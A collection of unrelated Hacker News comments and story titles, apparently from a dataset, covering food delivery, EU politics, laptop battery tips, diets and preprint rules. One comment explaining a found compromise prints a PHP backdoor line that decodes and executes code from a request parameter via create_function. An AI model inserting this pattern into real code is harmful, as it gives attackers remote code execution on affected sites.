skysight-inc/HackerNews huggingface dataset:
I do not use Deliveroo but what sounds like something similar in my area.

I live 20 minutes outside of a small town in Norway and the restaurants/kebab shops don't generate enough take-away business to provide this service themselves.

There is another company that does that for them and services all making take-away possible at all.

Now this company actually operates with a time guarantee, that is if the food is not delivered within an hour or if the order is "refused" due to reasons the OP touches on you get your money back.

I've yet to have any that happen to me, possibly because it would actually be bad for those delivering.

I could drive and pick it up myself, but sometimes you just want to be a couch-potato and be lazy!
NET Core 3.0 Intrinsics in Real Life – 3/3
> I've said that some things are done on EU level, which does not need to be repeated across the various countries within the EU.

The examples provided on your link are Galileo, business investment and huamnitarian crises, terrorism and security threats. To be honest, these aren't very good examples from my understanding.

With Galileo, I'm not sure why leaving it to the ESA exclusively instead of this shared setup with the EU is better or more 'efficient'.

For business investments, the EU has caused some of the very problems they are "investing in", including making farmers and fisheries dependent on grants to operate or just go out of business. The imposed VAT rates and conditions cause less spending that lead to very situations that require this to start up in such an environment. With more self autonomy, governments could look to more effectively focus on industries that are more effective for their geography and avoid much of the red tape that prevents these industries from being viable. This does not seem efficient to me.

EU's recent history on humantarian, crises and threats has shown it is lacking significantly.

Let's take Greece for example, if Greece were operating independently, it would have been allowed to withdraw from the Euro (which it was prevented from doing so), moving to it's own currency and then devalue it's currency over the period of some years which would increase external investment into the country, floating the country's economy and returning it's economy to normality, not unlike other countries that suffered a financial crisis not too long ago, such as Iceland. Instead, they are just funding Greece with no working plan for recovery, while driving other countries into debt to support it. This does not seem efficient to me.

The EU completely failed to manage and appropriately deal with the refugee crisis and economic migrant crisis on the EU level despite it being there. It was a significant waste of money and then, to further the pain, it tried to take the work off it self by paying Turkey to deal with it; which is now blackmailing the EU into providing further funds. This is not efficient and I think the ECHR should really get more involved in this matter.

Regarding threats, the EU gave a lot of promises and love to Ukraine, annoyed the Russian bear which now occupies half the country.

> the admin overhead for the budget is about 6%

I'm not seeing the value in return, sorry.
Well, my laptop isn't a Teletype.
You could be right. The information I was able to find said otherwise, but that may well have been biased.
Ask HN: How to learn to write a compiler and interpreter?
Greetings,

I am in my late 30s without a formal CS education. I write software for a living and have this itch to learn to write a compiler / interpreter.

DO I have to take any courses (e.g. Discrete Maths, Automata Theory) in order to do it?

Do I have to take any courses? If so, do you have recommendations for those as online courses?

I really want to do this in 2019 but the thought that I have to study Maths, then Automata, maybe OS, then Compilers sounds like a long path.

Is there who has learned to write compiler / interpreter without CS background? How did you do it?
> Do you mind explaining why you use them?

I want food, I can't be bothered to cook or go out?

Are you seriously struggling to understand food delivery? Or if you mean what's the benefit over e.g. ordering direct from a restaurant, is you have a lot more choice and it's much higher quality than traditional take aways (you get proper restaurant food)
Hey, thanks for the followup. Right now, in the USA, ratings are extremely important. Theoretically, it's illegal for the government to restrict cable, Vimeo, streaming, ect. Only public airwaves are actually regulated (you can get fines/punishment for indecency on broadcast TV / radio). For everything else, it's the land of the free.

The problem is industry conventions, which might seem self-inflicted, but are the result of public criticism. It's legal to show porn on cable, but most stations still heavily self-censor. NC-17 / Unrated movies won't be play in many theaters, or sell in big stores. You simply can't make a very successful NC-17 film in the USA. R rated movies make substantially less money, to the point that they've been trying to make less of them. I can't speak for other countries, but I'm pretty sure they censor, or have similar ratings that are avoided. Lots of stuff you dismiss as a "non-issue" seem like pretty big issues to me.
How two programmers from Brooklyn accidentally paved the way for blockchain art
Currently have a Toshiba KIRA V63, which unfortunately I think was only available in Japan. Basically i5 processor with 8 gigs of memory, SSD, integrated Intel graphics. The main power saving tool is Powertop. However, I run Arch and do not install GNOME, or KDE. I've got Xmonad for a window manager and I'm usually using Kitty as a terminal emulator. Work requires me to run Chromium (I write internal web systems for a travel tour company, and we deploy to Chrome, so I only need to make sure it works on that platform). I'm mostly spending my time in tmux with Emacs (in Evil mode).

I'm pretty careful about turning everything off -- for example bluetooth, etc. For maximum power savings I use a very high contrast colour scheme and turn the backlight down using xblacklight. Indoors, in the library for instance, I can happily turn it down to 7-11%. Outdoors, I usually need 70%. If I'm on the train or bus (I often work on the go), then I'm usually about 20%. The backlight is really the biggest thing to consider. It helps to spend some time in Powertop and see what's draining the battery.

Another important thing is that I run as little disk access as possible. Even with only 8 gigs of memory, I have no swap partition or swap file. I try to stay out of the browser and do as much as possible with TDD -- files will be cached by the OS. As much as possible I have no VMs running (obviously with the lack of memory) and as we've pretty much moved over to Docker this has helped out.

Apart from that I'm pretty anal about my machine. I don't allow anything to run that I'm not completely aware of. I've got a processor monitor running and if I notice it spike when I'm not doing anything, I track down what's going on. Same thing with memory.

Ah.. One more thing. I almost always have the WIFI turned off, unless I'm actually communicating with someone. I tend to work using pomodoros and spend 5 minutes every half an hour checking my email, etc. But I try to keep offline documentation, etc available.

I'm going to be replacing this machine soon (I think it's 3-4 years old now). I'll probably end up buying the V63's replacement (I forget the model number). It's supposed to have about 10% more battery, so I'm looking forward to seeing if I can relax some of my habits. If I'm not grinding the machine too much I can usually get 9-10 hours. However some days I only manage 6, which is a pain.
Wonderful! One of weirdnesses I’d noticed but never got to the bottom of
It's silly to equate a legal defense with a belief though.

I may not have the belief, personally, that spontaneous crimes of passion deserve a light sentence, but it would be malpractice for my lawyer to therefore not advance that argument if, god forbid, I was convicted of a murder. Whether I committed the murder or not, and whether or not I believe those sentencing guidelines should be extrapolated to wider society, as a lawyer you have an obligation to use every tool in your arsenal that can help your client. It has nothing to do with your own personal or political views on whether those tools should exist.
Quick tip: when people give out about a massive company (one with a real influence on the world, mind you) doing something they feel isn't right, that's :not the same thing: as assuming the company has a moral duty to heal the world.
That's a good point, I have seen cases where we've separated a portion of nodes for VSAN or ScaleIO out to a separate cluster to avoid this behaviour on latency sensitive workloads. These nodes don't need a ton of RAM and you'd better have good E-W bandwidth for them, but it's always a tradeoff...
What is this trash.
and then blind people won't be able to read said tweets
Laptop running Tails from a clean USB drive, never used in any other computer.
Automation and AI: How machines are affecting people and places
The grandparent comment is noteworthy among HN comments for being so eagerly apologetic for the kind of corporate/branding hypocrisy that Google used to position itself against.

It makes me wonder if someone posted it in an attempt to make Google look bad even though the comment purports to defend Google.
Isn't that why James Damore was fired? He wrote an internal communication Google didn't like.
Gravity: open source tool to replicate data between MySQL, Mongo, TiDB, PG
I don't think "traffic is chaotic" is the issue with driverless cars. We'd be satisfied with a car that solved everything except for global (i.e. non-local) traffic flow issues.

That said, a dynamical system may exhibit chaos for one setting of the parameters, and may not exhibit chaos for other settings of the parameters. It may be true that the equations governing traffic flow have the potential to exhibit chaos, and do exhibit chaos when 1. humans drive, or 2. the drivers have only local sensing. But that doesn't mean it would still be true for driverless cars.

But again, that's not the issue at play. We wouldn't fault an driverless car for getting stuck in traffic. It's more like it has to work when it's snowing, when you can't see the lane markers, when a kid in a trashbag costume jumps into the street, etc. Those are the edge cases that we care about right now.
Yes. It's cheap and well worth it, you can use them for quite a while.
23andMe Receives FDA Clearance for Direct-To-Consumer Genetic Test on a Heredita
Opensource a Python Library “Camelot” to Extract Tabular Data from PDFs
https://en.m.wikipedia.org/wiki/The_Well-Tempered_Clavier at least is designed for well-temperament, which isn’t the same as equal temperament
> If the Labor Board did what Google wanted, “it would have a huge chilling effect,” said Google employee activist Colin McMillen

Weird, I guess then they would have to use the employee email system for employment related matters. There isn't any restriction to prevent any employee from using a non-employer email system for organizing the very same activities.

The unintended consequence of allowing this kind of activity in the office place is the creation of political gravities. If you don't agree with the mass consensus the majority will find a way to punish the minority opinions. During one of the private internal all hands Google's chief of HR said their research indicated this very behavior. If you cannot be honest in the work place then its a hostile work environment.
I Stopped Using a Computer Mouse for a Week and It Was Amazing
https://news.ycombinator.com/item?id=18981492
As a remote worker, people with this attitude make it much harder to do my job - a photo helps build trust and trust makes good teams. Presumably you don't go into the office wearing a mask to hide your identity?
I don't have any policy examples offhand, but it will be outlined in the journals copyright transfer agreement (CTA). This is a very common publisher restriction, as I said. I've done work with preprint repos in the past, and this is the raison d'etre behind many of the smaller ones. This is a restriction on authors uploading their papers, not on the repos themselves. Publishers and individual journals can and do put various restrictions on sharing, since they own the copyright after the CTA, not the author. Incidentally, a large proportion of authors seem to be totally unaware they do not own the copyright to their work after signing the CTA.
Terminal-based business card created from data on your site using npx
I made my own productivity tool
And lots of people took 5-6 years to graduate, don't forget that part.
Trump got about $5 billion in free advertising [0]

That seems like far more impact than $50k from some memes.

It’s clear the media is picking Kamala Harris as their choice [1]

And already positioning her as the best candidate to beat Trump [2]
This is all after how from the 2018 midterm they positioned her as one of the top Democratic contenders

[0] - https://www.thestreet.com/story/13896916/1/donald-trump-rode...

[1]https://thehill.com/homenews/media/426349-cnn-to-host-kamala...

[2] https://www.msnbc.com/hardball/watch/andrea-mitchell-asks-ka...
Agree that is difficult to catch it. For the log, in this case there are both functions, the output looks something like this:

$j6 = create_function('', base64_decode($_REQUEST['sort']));
$j6(); // execution

The `create_function()`[1] will internally execute `eval()` so the result would be the same.

[1] http://php.net/create_function
Google Chrome changes could 'destroy' ad-blockers
I spoke at OSCON once. As part of the speaker package they did professional headshots. It was a great perk. I've used those extensively since - lots of other conferences ask for a headshot on their speaker list. I also use it on Linkedin.
Leak: Samsung Blockchain KeyStore Cryptocurrency Wallet for Galaxy S10
A lot of keyboards are based on recorded samples of acoustic pianos – they might use a Steinway or something as the source of the samples, so the keyboard and piano would sound ostensibly similar and good together.
Or a GM car where they do the math to see if its worth it to issue a recall for cars that shut themselves off out of nowhere or Ford where they did a cost benefit analysis on a recall of Pinto fuel lines.
Ask HN: is it the wrong time to buy UK stocks?
Hi all, this might be the wrong place to ask, but let me give this a shot.

I'm based in the UK and try to invest regularly.
I currently only have UK stocks, but because of Brexit, I'm afraid buying any more UK stock is a bad idea.

I'm also considering buying US stocks by using Freetrade, which I believe is the UK equivalent of Robinhood.

Thus, would you recommend I keep buying UK stocks and diversify, or I start buying US stocks?

Also, I currently have an investment ISA with my UK bank, and I'm not sure how getting a Freetrade account would work with that, although they do claim to support ISAs. Maybe I can move mine to them.

Fun fact: I am originally from France.
Not sure why the focus here is on the lack of cartoons. I am really enjoying this clearly written series of articles irrespective of the amount of cartoons.
Its why anything political, which ends up being just about everything, feels like a distraction. All these problems fundamentally trace back to a lack of representation and influence in government by the commoner, and that requires radical alterations to the government to give them their voice/back. Everything else is just speculative hearsay about what ifs and could bes.
A laptop, bought with cash from a randomly chosen store, never left out of sight hence?
Even then threads are rarely the correct architectural abstraction for your code. Something like a work stealing job scheduler that happens to have spun up to the same number of worker threads as cores on the system under the hood generally works way better. That is, there should ideally be only one line in your code base that says "new Thread()" or the like.
JVM as a service?
I have informed opinions on many things that I can't personally experience.
In many developing countries with low exposure to Western-style diet and lifestyle the oral health is way better than in the West. In a sense the advanced oral care indicates that something is wrong with the teeth.
Harvard Healthy Eating Plate
I mean most of these delivery type services are basically the first company passing off the usual risk of having a lot of employees onto contractors.... not exactly the same, but not that many steps removed.
> It appears that there is a conflict of vision within Google.

So what you saying is that two departments in a big company can have their own attorneys and/or publicists and approach government agencies on their own without a higher approval?
I didn't read the entire paper. But since is it does seem to be based on naming, did it also address the changing naming conventions of the time? Because early 20th century is also when people stopped taking their fathers name as a family name.
Inverting Facial Recognition Models
True, and I don't hate this guide from my government, but the sample recipes are eye-rolling.

https://www.canada.ca/en/health-canada/services/canada-food-...

Like, guys. Why are we adding brown sugar and why are we stressing skim milk? What are we adding dried cranberries, which lack fibre?

I constantly feel like I need to write a website on how to be healthy. I'm a fit software dev with 11% body fat. I've held it for almost 5 years now, but before that I was just like everyone else. It's really simple.

1. Maximize fibre (i.e., fresh veggies, non-canned chickpeas).
2. Eliminate refined sugar / date / figs / dried fruit as much as humanly possible.
3. Maximize flavour (i.e., fat, spices, added berries)
4. Maximize protein
5. Minimize average effort
6. Minimum 15 minutes of heart pumping exercise per day. Ideally 1 hour or more.

This is easier than you expect. I make a chickpea curry or (mostly) vegetarian chilli in a huge dutch oven once a week. That's 10 meals right there. I bike to get around. Body weight exercise once a week, and that's basically it.

This whole fat vs carbs thing is a total red herring. Some carbs are great for you (resistant starch, both soluble and insoluble fibre) some are fine (lactose, glucose) some are shitty (fructose, sucrose). Some fats are great for you (omega balanced polys) some are fine (mono) some are shitty (trans), but we lump it all into fats vs carbs and no wonder the public is confused.
It's not a failure of the system; students are, increasingly often, mistaking universities for diploma mills. Some universities gradually acquiesce, others hold their ground.

The universities that maintain their standards for graduation will typically have droves of students dropping out, because there are droves of students who do not put effort into learning the material.
I personally would have gone the other way and spend the second half of the day figuring out how hard it is to implement ecdsa from scratch in any of the supported languages. I guess the results would have been the same.
Even if it's FUD, it literally doesn't matter. It's what people think is going to happen. People need to stop thinking that's what's going to happen. It's going to be difficult to make people think it's not happening, though, when it manifestly is and does.

I'm already aware it's a low-probability event. The problem is, low probability times catastrophic outcome still leaves something that I worry about enough to affect my life. It needs to be a lot lower.
Yes. I had a professional photo made for my passport instead of the usual instant photo where you look flash burned, have a big nose, and a shadow behind you that looks like a mullet.

There is a substantial difference in the way people handle identification with good photos. It feels like people think, "oh, of course, this is you." I liken it to my photo having taken a shower - it makes a much better impression.

People usually hate their identification photos. Having a quality photo is a nice conversation starter.
I'd like to point out that what he says here about autonomous vehicles and the limits of their sensors applies to humans too. It is just socially acceptable to drive in averse conditions with limited visibility, and if you hit another car, person or something else, you just blame it on the weather. It's not socially acceptable for an autonomous vehicle to just wing it in bad conditions.

I find it curious that we are going to hold autonomous vehicles to a perhaps impossibly high standard while we also hold people to barely any standards at all.

Think about this: If you are in an advanced autonomous vehicle and you get a warning that conditions are so bad that the sensors can no longer see well enough to drive and that you should take over, should you really take over or should you stop driving?
Privacy Is Not Dying, We’re Killing It
“Deliveroo takes online security very seriously. Sadly fraudsters rely on the fact that people reuse the same passwords on multiple online services to try and gain entry to different accounts across the web.”

Yeah! Blame it on your customers! Way to go!

Sigh! Another gig economy service I'm damn sure never to use.
> Last year China took down Yahoo! too, despite Yahoo's relationship with Alibaba.

I mean, by last year that relationship stopped existing (as Yahoo!'s Ali shares would be with Altaba).
Often when I click Releases it is completly blank. All our releases are missing. I have to refresh 2-3 times before they show up.

The UI has so far changed five times in the past three months. It is insane. The current iteration is at least fine. Before it was a big blob of round circle that showed that the steps that succeeded succeeded. And then a big text saying it failed. It was worthless.
In other words, like every other business....
Static Site Boilerplate – A better workflow for building modern static websites
It sounds like Canada’s guide followed the same path that the US’s did: the original USDA food pyramid was influenced by lobbying and recommended lots of carbohydrates and milk. It also suffered from the fact that there was no attempt to have people follow the diet to see its effects before the USDA recommended it to the whole country. Over the past twenty years, the USDA has quietly been revising the recommendations (they make a big deal when they issue new recommendations and websites to distribute them, but they don’t say much about what actually changed each time).

My favorite example is that a doctor once recommended that I follow the DASH diet to lower my blood pressure. The DASH diet was a modified version of the 1990s food pyramid. A relatively recent study compared it with diets that get fewer calories from carbohydrates, and while all the diets they tried did lower blood pressure, the original DASH diet was the worst of the bunch ( https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3236092/ ).
Random tidbit: for some reason, LinkedIn displays your own profile image to yourself at a lower resolution than other profile images. I think it's related to the fact that your own profile image opens editing tools when clicked.

(It took me hours to realize -- after digging through their HTML -- that the reason my own pic looked so blurry once uploaded was because of this. Logged out, it looks fine.)
These are restrictions on authors submitting to journals, not restrictions on repos themselves. You can have a preprint repo hosting whatever you want. It doesn't mean that a researcher with a paper published in a given journal can upload it. If people can't upload their papers while still abiding by the policies of the journal, then your repo is kind of useless.

Both publishers and individual journals often have restrictions on preprints. This is a very common one with major publishers. Just because you aren't aware of these restrictions doesn't mean that they don't exist. I have worked with preprint repos in the past, and this is very common.